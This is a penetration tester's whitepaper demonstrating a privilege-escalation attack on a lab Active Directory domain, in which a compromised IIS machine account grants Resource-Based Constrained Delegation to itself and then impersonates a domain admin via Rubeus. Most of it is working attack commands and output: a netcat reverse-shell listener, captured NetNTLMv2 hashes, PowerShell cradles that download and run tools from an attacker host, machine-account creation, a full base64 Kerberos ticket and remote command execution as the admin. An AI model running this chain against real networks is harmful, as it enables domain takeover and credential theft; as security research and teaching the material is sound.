ZERODAYLAB®

Delegate 2 Thyself Attack

17 March 2020

Author: Charlie Clark, Senior IT Security Consultant

Passionate About Total Security Management

A Small Demonstration Of The Ability And Usefulness Of Delegating To Yourself

So a situation arose on the BloodHound Slack channel recently which is very similar to the one I am going to describe in this whitepaper and the user could have benefited from this so I have decided to speed up my writing of this particular whitepaper. It is going to involve using Resource-Based Constrained Delegation (RBCD) for local privilege escalation.

Firstly, there are much better resources for a full explanation of the RBCD theory and attack vectors, the best I have read Wagging the Dog by Elad Shamir but also this and this by Will Schroeder, and even the Microsoft Kerberos documentation if you are really looking at understanding how Kerberos works as a whole.

I learned everything I know about RBCD from the posts mentioned above, so I highly recommend reading and understanding those if you truly want to understand RBCD.

Here, I will simply be explaining an attack that, while very similar to some being spoken about, I have not really seen anywhere, while trying to clear up a few areas of confusion a lot of people seem to have on the topic.

Resource-Based Constrained Delegation 101

While those other posts are without doubt the place to go if you want to understand how this works, I will try to give a little recap of the essentials here.

Delegation is used in Kerberos to allow services to delegate (impersonate) as other users to other services. This is so that, for example, if a user accesses a web server and that web server is using a database server in the background, the web server is able to *impersonate* the user to access the database server and only gain access to the data owned by that user.

Resource-Based Constrained Delegation is governed by an Access Control List (ACL) contained within the **msDS-AllowedToActOnBehalfOfOtherIdentity** Active Directory attribute of the *target* machine account. This means if you want AccountA to be able to delegate to AccountB, then you have to set an Access Control Entry (ACE) within the ACL in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on *AccountB* for *AccountA*.

Confusion 1 - Service Accounts

So as Elad mentions in his post that *SYSTEM*, *NT AUTHORITY\NETWORK SERVICE* and Microsoft Virtual Accounts all authenticate on the network as the machine account on domain-joined systems. This is really useful to know as most Windows services on modern versions of Windows will run using a Microsoft Virtual Account by default. The 2 most notable are IIS and MSSQL but I am sure there are many more.

This can be verified very easily:

```
» nc -nvlp 8080
listening on [any] 8080 ...
connect to [192.168.71.198] from (UNKNOWN) [192.168.72.50] 49692
Windows PowerShell running as user EIIS1$ on EIIS1
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv>whoami
iis apppool\defaultapppool
PS C:\windows\system32\inetsrv> net use \\192.168.71.198\share
The command completed successfully.
```

This authenticates against *192.168.71.198* where I have [impacket's](#) [smbserver.py](#) script listening:

```
» ./smbserver.py SHARE /srv/share
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (192.168.72.50,49700)
[*] AUTHENTICATE_MESSAGE (EXTERNAL\EIIS1$,EIIS1)
[*] User EIIS1\EIIS1$ authenticated successfully
[*] EIIS1$::EXTERNAL:4141414141414141:ff7128b02f99c59fb43df3e1bb08d9cf:010100000
000000080911b9c89cfcd501fd1a8540736042390000000001001000620053004b004b00790055004
600530003001000620053004b004b00790055004600530002001000610057006d0042006d0074006
300440004001000610057006d0042006d00740063004400070008008091b9c89cfcd501060004000
200000008003000300000000000000000000000000300000b19df4611c35faeddd4baa7f83696c9ae
8f5b90149f6afd108a2a1e20b477c7d0a0010000000000000000000000000000000000090026006
3006900660073002f003100390032002e003100360038002e00370031002e003100390038000000
00000000000
```

In any situation where the machine is domain-joined and you can run code as **NT AUTHORITY\NETWORK SERVICE** or a **Microsoft Virtual Account**, you can use RBCD for local privilege escalation, provided that Active directory has not been hardened to mitigate the RBCD attacks completely (which is very rarely the case).

The Situation

So here I am going to perform the attack from a domain-joined (*external.zeroday.lab*) IIS server (**EIIS1**) where code execution has already been achieved. As we already know, this account will authenticate on the domain as the machine account:

```
PS C:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool
```

Firstly, load the [ADModule](#) from [Nikhil Mittal](#) and [Will Schroeder's](#) [PowerView](#) to be used throughout this whitepaper:

```
PS C:\windows\system32\inetsrv>iex (new-object net.webclient).downloadstring('ht
tp://192.168.71.198:8000/ad.txt');Import-ActiveDirectory
PS C:\windows\system32\inetsrv> iex (new-object net.webclient).downloadstring('h
ttp://192.168.71.198:8000/v.txt')
```

The last thing to note is a domain admin (and the user we are going to impersonate) is **external.admin**:

```
PS C:\windows\system32\inetsrv> Get-DomainGroup "Domain Admins" | select -expand
 member | Get-DomainUser | select samaccountname

samaccountname
--------------
external.admin
Administrator
```

Confusion 2 - Machines Creating Machines

Generally with these RBCD attacks you require a second account with a service principal name (SPN), the common method is to create a new machine account as by default the machine account quota is **10**:

```
PS C:\windows\system32\inetsrv> (Get-DomainObject -DistinguishedName "DC=externa
l,DC=zeroday,DC=lab") | select ms-ds-machineaccountquota

ms-ds-machineaccountquota
-------------------------
                       10
```

I have seen some confusion on whether a machine account can be used to create another machine account. It is possible to create a machine account using a machine account, this can be done using Kevin Robertson's Powermad:

```
PS C:\windows\system32\inetsrv> iex (new-object net.webclient).downloadstring('h
ttp://192.168.71.198:8000/pm.txt')
PS C:\windows\system32\inetsrv> $pwd = ConvertTo-SecureString "Foobar12345" -AsP
lainText -Force
PS C:\windows\system32\inetsrv> New-MachineAccount -MachineAccount TestMachineAc
count -Password $pwd
[+] Machine account TestMachineAccount added
```

Now querying the domain controller, the newly created machine account can be seen:

```
PS C:\windows\system32\inetsrv> Get-ADComputer TestMachineAccount


DNSHostName         : TestMachineAccount.external.zeroday.lab
UserPrincipalName   :
Enabled             : True
SamAccountName      : TestMachineAccount$
SID                 : S-1-5-21-2497454771-856038897-3094711587-1112
DistinguishedName   : CN=TestMachineAccount,CN=Computers,DC=external,DC=zeroday,
                      DC=lab
Name                : TestMachineAccount
ObjectClass         : computer
ObjectGuid          : 4433c4a8-9af7-409b-9cc6-9b15b01072e0
PropertyNames       : {DistinguishedName, DNSHostName, Enabled, Name...}
AddedProperties     : {}
RemovedProperties   : {}
ModifiedProperties  : {}
PropertyCount       : 9
```

The Crazy Bit

For this whitepaper though, I want to show that even if the machine account quota is **0**, and access to another account with an SPN has not been achieved, it is possible to abuse RBCD for privilege escalation. So the machine account quota has been reset to **0**:

```
PS C:\windows\system32\inetsrv> (Get-DomainObject -DistinguishedName "DC=externa
l,DC=zeroday,DC=lab") | select ms-ds-machineaccountquota

ms-ds-machineaccountquota
-------------------------
                        0
```

Now it is not possible to create a new machine account:

```
PS C:\windows\system32\inetsrv> New-MachineAccount -MachineAccount NewMachineAcc
ount -Password $pwd
[-] Exception calling "SendRequest" with "1" argument(s): "The server cannot han
dle directory requests."
PS C:\windows\system32\inetsrv> Exception calling "SendRequest" with "1" argumen
t(s): "The server cannot
handle directory requests."
At line:955 char:9
+         $connection.SendRequest($request) > $null
+         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : DirectoryOperationException
```

So here is the main reason for this blog, I was thinking one day "I wonder if a machine can delegate access to itself". So effectively, *I* (the machine account) want to tell the domain controller that *I* (the machine account) wants the ability to delegate access to *myself* (the machine account). I am not sure why this would ever be required in a normal setup, but it in fact *is* possible.

So using the shell that I have already imported the ADModule, I can set the **msDS-AllowedToActOnBehalfOfOtherIdentity**:

```
PS C:\windows\system32\inetsrv> $iis = Get-ADComputer EIIS1
PS C:\windows\system32\inetsrv> Set-ADComputer EIIS1 -PrincipalsAllowedToDelegat
eToAccount $iis
```

This is all that is required to configure RBCD. To demonstrate that it has in fact worked, I can run Get-ADComputer from another terminal (because showing the extended attributes using the ADModule does not work):

```
PS C:\Users\external.admin> Get-ADComputer EIIS1 -Properties PrincipalsAllowedToDelegateToAccount


DistinguishedName                  : CN=EIIS1,CN=Computers,DC=external,DC=zeroday,DC=lab
DNSHostName                        : EIIS1.external.zeroday.lab
Enabled                            : True
Name                               : EIIS1
ObjectClass                        : computer
ObjectGUID                         : 3aa1850f-f8df-487b-9504-e8e066e5f530
PrincipalsAllowedToDelegateToAccount : {CN=EIIS1,CN=Computers,DC=external,DC=zeroday,DC=lab}
SamAccountName                     : EIIS1$
SID                                : S-1-5-21-2497454771-856038897-3094711587-1111
UserPrincipalName                  :
```

So now I have the ability to impersonate any domain user on the machine, that is not in the **Protected Users** group or marked as **Sensitive and cannot be delegated**.

Abusing This Configuration

There is one more piece of the puzzle before we can actually perform the attack. We need to be able to pass Rubeus credentials for the machine account. This can be in the form of a username and password, or a TGT ticket.

Luckily Benjamin Delpy figured out how to do this, it is now called the tgtdeleg trick and it is also been implemented in Rubeus.

So after downloading Rubeus onto the compromised system, we can easily use it to grab a usable TGT:

```
PS C:\windows\system32\inetsrv> (new-object net.webclient).downloadfile('http://
192.168.71.198:8000/ru.txt','C:\temp\ru.exe')
PS C:\windows\system32\inetsrv> C:\temp\ru.exe tgtdeleg /nowrap


  ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0


[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/EDC1.exter
nal.zeroday.lab'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API outpu
t.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: zP64nxRWLWSj
CSytpulHnrKbZCRL4kxSFFVUGPUr+xE=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

      doIFTjCCBUqgAwIBBaEDAgEWooIEPTCCBDlhggQ1MIIEMaADAgEFoRYbFEVYVEVSTkFMLlpFUk
9EQVkuTEFCoikwJ6ADAgECoSAwHhsGa3JidGd0GxRFWFRFUk5BTC5aRVJPREFZLkxBQqOCA+UwggPhoA
MCARKhAwIBAqKCA9MEggPPtzlIGrLWjxEugEGSMN6PjDOE6txw8J0ger4c2ZPXN9LTWlAltnmNBPDnRv
UeBSCHWpngyjNrt8owZEESnR3jpFS4GuOp2RMvnJky2Ai/avL8ylMTsqtGasl7BTEc6ihJLClp7ZbklU
FjOpHZ0PKnWr43YjmEJfzJoXzOhXTgBlEXPBl0ZrX7QXU7UrIfgl4XS0uDltAGZYtFniryRSEFGNV0V0
Oy5Dwgb0/HlKl0UkS81r7YMxU0KdSjipU/9R/I2Q+ceXcjcljrsLVLdhkbNtgxmSAleaNT+J3kHeDt3N
eARXmRF4k049h9a9or9gwglXv+2vpne0O2FtDZoI2YdmuvW+nb90l69GVJuWHhF12kMcBOhktlFsqzQu
9p0vw3yLuqm66w3kHR9sanv+Pe89Ka9KJ/DEpwb4IfEmZOX+Xy5dMTG+jHCIB9d69OHQp8v9yLJWrllL
D4o+BQECdYGxrm+D7t6uTNJplDRzw8em77JE8IjPN+O2/ixQqfpk5sYoyCvTFbaymXIqyDuwIzOqvJxF
sHb0Gt67dIAx4VciIIRGyC4Se+RV/X3CMQ2waigY3EG75CB5G4DlDgoiuoK/6o4vXzN6ZG6zG7S01vLB
PZLZ+6BJ1KbqxBSK7E3CaOnh5VYlWllHBkbd2BY5b24NLbq74Ke84rrnnHCCWbBeJXKHoF+gNLcK8JPp
mbrRPjkbkmc5seKLYL3tMAaQ52J4NWz/Ww5cuH5vJoTVYPpbEiCJnDNg/NhYtc5NdBTn44nmtX5ar4Ht
4bd4f2oybRpq6Iaf0jmAM295++K9nk/RzqH09DzmW6KUJxArNNxldKUrCHs956m75cMTXtOKp/0cdVdI
9uLSAuN6Uo2cvlWbnW1VZNhQlnZ6T9oJiDc2Dg+Q1UqSzcZIoGdLCIIS4sy8yHX4xSsSiedaCCA9DqOk
aHFYMIEJePPvqB9X1E/eqIf0sgHU5PNXUbo+vOrZJsgrYCFKfzRqD4u9NC6m2+lQzPHqymFlhNepX9hY
2p0YqZFtibVL0042Ls/tGotl8mQlG3eQ2rdj/hsFvtdTlzsP900LjXNze2lbAF4iSq0RKe3+dSvujIuU
VGke/Ao4uP2FPDyVXeEUvyDCYYNNXsi7TQWsPcGWzBozX4UYURw/r50/T4n4ICF7Yf6/nG2AYoa325wT
MnYcsDVaH/xblul5gnXfxsSH6vqgEZNHh3BDgWB75+q6CyvMvcEj7hEwVgTP4hzE0ZULpiazavMURXBs
aC9b3n9X6/xEvRGfDOS0orrXiZ2LiYbXNT00+H3chyo4H8MIH5oAMCAQCigfEEge59geswgeiggeUwge
Iwgd+gKzApoAMCARKhIgQgkR0gRO62FJs68y8SvEHW2o6cs51Dmk9nAxfdQk0UqXahFhsURVhURVJOQU
wuWkVST0RBWS5MQUKiEzARoAMCAQGhCjAIGwZFSUlTMSSjBwMFAGChAAClERgPMjAyMDAzMTcyMDQ4Mz
VaphEYDzIwMjAwMzE4MDY0ODMlWqcRGA8yMDIwMDMyNDIwNDgzNVqoFhsURVhURVJOQUwuWkVST0RBWS
5MQUKpKTAnoAMCAQKhIDAeGwZrcmJ0Z3QbFEVYVEVSTkFMLlpFUk9EQVkuTEFC
```

That TGT can be used with the *s4u* Rubeus command to request a service ticket to **HTTP/EIIS1.external.zeroday.lab** (myself) as the user **external.admin** and injected into the current context:

Now when we use *Invoke-Command* to **EIIS1.external.zeroday.lab**, it runs as **external.admin**:

```
PS C:\windows\system32\inetsrv> Invoke-Command -ComputerName EIIS1.external.zerod
ay.lab -Command {whoami}
external\external.admin
```

Cleanup

When on an assessment, it is always important to clean up any changes made to systems to return them to the original settings as much as possible. The RBCD configuration can be reset to its original state using the machine account again if domain admin privileges has not been achieved.

If the configuration was originally empty, this can be undertaken in the following way:

```
PS C:\windows\system32\inetsrv> Set-ADComputer EIIS1 -PrincipalsAllowedToDelegate
ToAccount $null
```

And to verify that this worked:

```
PS C:\Users\external.admin> Get-ADComputer EIIS1 -Properties PrincipalsAllowedToDelegateToAccount


DistinguishedName                  : CN=EIIS1,CN=Computers,DC=external,DC=zeroday,DC=lab
DNSHostName                        : EIIS1.external.zeroday.lab
Enabled                            : True
Name                               : EIIS1
ObjectClass                        : computer
ObjectGUID                         : [illegible]1859f-f8df-487b-9594-e8e066e5f539
PrincipalsAllowedToDelegateToAccount : {}
SamAccountName                     : [illegible]S1$
SID                                : S-1-5-21-2497454771-856038897-3094711587-1111
UserPrincipalName                  :
```

Conclusion

Delegation is hard and often configured wrong, so it is important to understand the scope of what is possible using these Kerberos features.

Active Directory in its default configuration is vulnerable to a number of different attacks and these settings rarely get changed by the system administrator so this is often a very fruitful avenue for an attacker.

To secure AD against this attack is no different to those described by Elad in his post, there is nothing really new here apart from the idea of delegating to the same account.